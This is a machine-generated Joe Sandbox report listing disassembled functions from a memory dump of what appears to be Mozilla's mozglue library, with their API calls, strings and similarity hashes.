Part of subcall function 6C6131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6132E5
Part of subcall function 6C6131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6132F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C629675
__Init_thread_footer.LIBCMT ref: 6C629697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6296E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C629707
__Init_thread_footer.LIBCMT ref: 6C62971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C629773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6297B7
FreeLibrary.KERNEL32 ref: 6C6297D0
FreeLibrary.KERNEL32 ref: 6C6297EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C629824

Strings

NtMapViewOfSection, xrefs: 6C629701
ntdll.dll, xrefs: 6C6296E3
MapViewOfFileNuma2, xrefs: 6C6297B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C629670

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: a94dad984efc77e562e5e1e4a64f93b671f502ed57b28ac69fe917f1367d4f24
Instruction ID: 7cb1290b4716f8fe79e95866372e3632c35ef1df348c7faecf0c280c708d1764
Opcode Fuzzy Hash: a94dad984efc77e562e5e1e4a64f93b671f502ed57b28ac69fe917f1367d4f24
Instruction Fuzzy Hash: 0061D4717002029BDF00CF66E8D4B9A3BB4EB8A318F118529F95597B80D734A854CF9E

Function 6C676660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C69F618), ref: 6C676694
GetThreadId.KERNEL32(?), ref: 6C6766B1
GetCurrentThreadId.KERNEL32 ref: 6C6766B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6766E1
EnterCriticalSection.KERNEL32(6C69F618), ref: 6C676734
GetCurrentProcess.KERNEL32 ref: 6C67673A
LeaveCriticalSection.KERNEL32(6C69F618), ref: 6C67676C
GetCurrentThread.KERNEL32 ref: 6C6767FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C676868
RtlCaptureContext.NTDLL ref: 6C67687F

Strings

WalkStack64, xrefs: 6C676890

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: d3a95a0673383a48bbc5b0af565863a64994aa1feb4264b43a23f2aaa674b8cd
Instruction ID: e7ba23b49e3bcee0df394f095474d1f1c66016e67842092b224c7ddff9aa8c82
Opcode Fuzzy Hash: d3a95a0673383a48bbc5b0af565863a64994aa1feb4264b43a23f2aaa674b8cd
Instruction Fuzzy Hash: D551C171A09301AFD721CF25C884B9ABBF4FF89754F00491DF59997640D774D904CBAA

Function 6C65DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
Part of subcall function 6C659420: __Init_thread_footer.LIBCMT ref: 6C65949F

GetCurrentThreadId.KERNEL32 ref: 6C65DE73
GetCurrentThreadId.KERNEL32 ref: 6C65DF7D
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65DF8A
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65DFC9
GetCurrentThreadId.KERNEL32 ref: 6C65DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C624A68), ref: 6C65DE7B

Part of subcall function 6C6594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6594EE
Part of subcall function 6C6594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C659508

Part of subcall function 6C64CBE8: GetCurrentProcess.KERNEL32(?,6C6131A7), ref: 6C64CBF1
Part of subcall function 6C64CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6131A7), ref: 6C64CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C624A68), ref: 6C65DEB8
free.MOZGLUE(00000000,?,6C624A68), ref: 6C65DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C65DF38

Strings

<none>, xrefs: 6C65DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C65E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C65DE83

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: b69aa1f3fc454d34cacf07472659cc6293fea27159c1c81b4320038d2f73af90
Instruction ID: bec6ec6c5acfe3f17a9372956c79ac4dfb06506ee40fae852d8dbb6bcd12d070
Opcode Fuzzy Hash: b69aa1f3fc454d34cacf07472659cc6293fea27159c1c81b4320038d2f73af90
Instruction Fuzzy Hash: 6E414B717012029BDB109F66D9847AE7775EF8270CFA50016F90587B42C731A826CBEF

Function 6C66D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C66D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C66D918
GetCurrentThreadId.KERNEL32 ref: 6C66D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C66D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C66D970
GetCurrentThreadId.KERNEL32 ref: 6C66D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C66D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C66D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C66DA2E
GetCurrentThreadId.KERNEL32 ref: 6C66DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C66DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C66DA91

Part of subcall function 6C635C50: GetTickCount64.KERNEL32 ref: 6C635D40
Part of subcall function 6C635C50: EnterCriticalSection.KERNEL32(6C69F688), ref: 6C635D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C66DAB7

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: c4949dba57e78603c8fcff1866070719d7b818e76f0dfae850571b807ca07060
Instruction ID: 73e21d9d770d332da80f2a8537e4dcaded2cf635f5e886a5c94c08963b5dc8a6
Opcode Fuzzy Hash: c4949dba57e78603c8fcff1866070719d7b818e76f0dfae850571b807ca07060
Instruction Fuzzy Hash: 7071AD316043059FCB00CF2AC884A9ABBF5FF89354F15866DE85A9B701DB30A945CB9A

Function 6C66D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C66D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C66D52A
GetCurrentThreadId.KERNEL32 ref: 6C66D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C66D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C66D55F
free.MOZGLUE(00000000), ref: 6C66D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C66D5D3
GetCurrentThreadId.KERNEL32 ref: 6C66D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C66D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C66D652
GetCurrentThreadId.KERNEL32 ref: 6C66D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C66D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C66D6A2

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: a665d2fc59e1896ef9ba7870bba9f0759c726215b5c4b26dce6e967c77a3d88e
Instruction ID: d79255dce9c98b5e2b06ae9fd952ba4534b8f001084e33459a10157f42c2f8a5
Opcode Fuzzy Hash: a665d2fc59e1896ef9ba7870bba9f0759c726215b5c4b26dce6e967c77a3d88e
Instruction Fuzzy Hash: 8E518F71604706DFC704DF36C484A9ABBF5FF89358F10862EE94A87B10DB30A945CB99

Function 6C611E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C69E784), ref: 6C611EC1
LeaveCriticalSection.KERNEL32(6C69E784), ref: 6C611EE1
EnterCriticalSection.KERNEL32(6C69E744), ref: 6C611F38
LeaveCriticalSection.KERNEL32(6C69E744), ref: 6C611F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C611F83
LeaveCriticalSection.KERNEL32(6C69E784), ref: 6C611FC0
EnterCriticalSection.KERNEL32(6C69E784), ref: 6C611FE2
LeaveCriticalSection.KERNEL32(6C69E784), ref: 6C611FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C612019

Strings

MOZ_CRASH(), xrefs: 6C612000
\il, xrefs: 6C611F3E
Dil, xrefs: 6C611F56
Dil, xrefs: 6C611F32

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dil$Dil$MOZ_CRASH()$\il
API String ID: 2055633661-3305425631
Opcode ID: 2650b4cc77b31d1fbe48d52d458f4ac317309ffbdf2875511f258e9a1b89aed5
Instruction ID: 0c808add9d400402b2b85589f0e52cd955eec47276002ca2eddef3905b376666
Opcode Fuzzy Hash: 2650b4cc77b31d1fbe48d52d458f4ac317309ffbdf2875511f258e9a1b89aed5
Instruction Fuzzy Hash: 5041CF71B0431A8FDB108F6EC8C8BAA36B5FB9A749F044125E9059BB40DB719805CBDE

Function 6C635670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6356D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6356E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6356F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C635744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6357BC
GetTickCount64.KERNEL32 ref: 6C6358CB
EnterCriticalSection.KERNEL32(6C69F688), ref: 6C6358F3
__aulldiv.LIBCMT ref: 6C635945
LeaveCriticalSection.KERNEL32(6C69F688), ref: 6C6359B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C69F638,?,?,?,?), ref: 6C6359E9

Strings

MOZ_APP_RESTART, xrefs: 6C6356CC

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: b9a2e56de7299d92480cec0dd240bb0fb2c8dd7d9e634ba15788d19556cbe778
Instruction ID: d982a7bb102f2ba1a144303ac1b8034718e3a61a88039f3bcaba4524f7df4193
Opcode Fuzzy Hash: b9a2e56de7299d92480cec0dd240bb0fb2c8dd7d9e634ba15788d19556cbe778
Instruction Fuzzy Hash: 30C19031A093919FD705CF29C48065AB7F1FFCA714F15AA1DF4C897661D730A885CB8A

Function 6C65EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
Part of subcall function 6C659420: __Init_thread_footer.LIBCMT ref: 6C65949F

GetCurrentThreadId.KERNEL32 ref: 6C65EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65EC8C

Part of subcall function 6C6594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6594EE
Part of subcall function 6C6594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C659508

GetCurrentThreadId.KERNEL32 ref: 6C65ECA1
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C65ECC5
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C65ED19
CloseHandle.KERNEL32(?), ref: 6C65ED28
free.MOZGLUE(00000000), ref: 6C65ED2F
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C65EC94

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 1fd2b660d2782d258fdffcba7d6e0f66d5762fcb4483389d307a64d4864f112c
Instruction ID: ab96313292ab70301ed49f640247ea750423c04f926e0329f683603b4d355a7e
Opcode Fuzzy Hash: 1fd2b660d2782d258fdffcba7d6e0f66d5762fcb4483389d307a64d4864f112c
Instruction Fuzzy Hash: 55214771600106ABCF008F25DC44AAA7779EF8636CF604211FC1987741DB38AC26CBAE

Function 6C658ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C61EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C61EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C65B392,?,?,00000001), ref: 6C6591F4

Part of subcall function 6C64CBE8: GetCurrentProcess.KERNEL32(?,6C6131A7), ref: 6C64CBF1
Part of subcall function 6C64CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6131A7), ref: 6C64CBFA

Strings

name, xrefs: 6C658F16
marker-chart, xrefs: 6C65905E
timeline-fileio, xrefs: 6C6590A4
marker-table, xrefs: 6C65906C
timeline-ipc, xrefs: 6C659096
timeline-overview, xrefs: 6C65907A
data, xrefs: 6C6590E8
timeline-memory, xrefs: 6C659088
stack-chart, xrefs: 6C6590B2

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 3c2ed2199464747461aedf17ea060d2fd9560a375588d8c341f81bb73d6c9dd8
Instruction ID: 251ce6117a25cb8906a65e2662d3b26b9da89504c2b49541133332212aff3fcd
Opcode Fuzzy Hash: 3c2ed2199464747461aedf17ea060d2fd9560a375588d8c341f81bb73d6c9dd8
Instruction Fuzzy Hash: 7BB1B3B0A1120A9BDF04CF59C491BEEBBB5EF89318F604429D402ABF80D731D955CBE9

Function 6C63C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C63C5A3
WideCharToMultiByte.KERNEL32 ref: 6C63C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C63C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C63CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C63CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C63CAA5

Strings

0, xrefs: 6C63D30A
(null), xrefs: 6C63C596

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 50ad2932f357abd8a1dfbe630a058e48f50ee151b1a435cf3198294b1bec1ef5
Instruction ID: 9276e78ffbcc3ccae868c0e4bd506c08792b423614b2714a17566b2da54dbf96
Opcode Fuzzy Hash: 50ad2932f357abd8a1dfbe630a058e48f50ee151b1a435cf3198294b1bec1ef5
Instruction Fuzzy Hash: E2A1A130608361AFDB00DF29C59475ABBE1AFCA748F04A91DF98A97641D731DC05CB5A

Function 6C63C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C63C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C63C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C63C891

Strings

NAN, xrefs: 6C63C7AD
INF, xrefs: 6C63C794
inf, xrefs: 6C63C78F
nan, xrefs: 6C63C7A8

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 02bc175b4075180604023a62187dbc73cf2bf908dea3a2728bd93a5994525e77
Instruction ID: d88be1ace5bf797aa0f4a899747eb31aa00693a33fdd803b503872b8102a90cf
Opcode Fuzzy Hash: 02bc175b4075180604023a62187dbc73cf2bf908dea3a2728bd93a5994525e77
Instruction Fuzzy Hash: 0651B4709087519BD700DF2DC48169AFBF0BF8A304F00AA1DF9DA97651E770D9858B4B

Function 6C613480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C613492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C6134A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C6134EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C61350E
__Init_thread_footer.LIBCMT ref: 6C613522
__aulldiv.LIBCMT ref: 6C613552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C61357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C613592

Part of subcall function 6C64AB89: EnterCriticalSection.KERNEL32(6C69E370,?,?,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284), ref: 6C64AB94
Part of subcall function 6C64AB89: LeaveCriticalSection.KERNEL32(6C69E370,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C613508
kernel32.dll, xrefs: 6C6134EA

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 7791e5f17a11014dafb156df6a68a23caba47287022ff1843e46215a2122c17a
Instruction ID: 10339bda7f48c3361d4a80f3b44b901f926fe16137266cb459f938f3cbf2364a
Opcode Fuzzy Hash: 7791e5f17a11014dafb156df6a68a23caba47287022ff1843e46215a2122c17a
Instruction Fuzzy Hash: AA31A771B002079BDF14DFBAC988AAE7779FB86705F114029F606D3A50DB709905CF69

Function 6C614480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

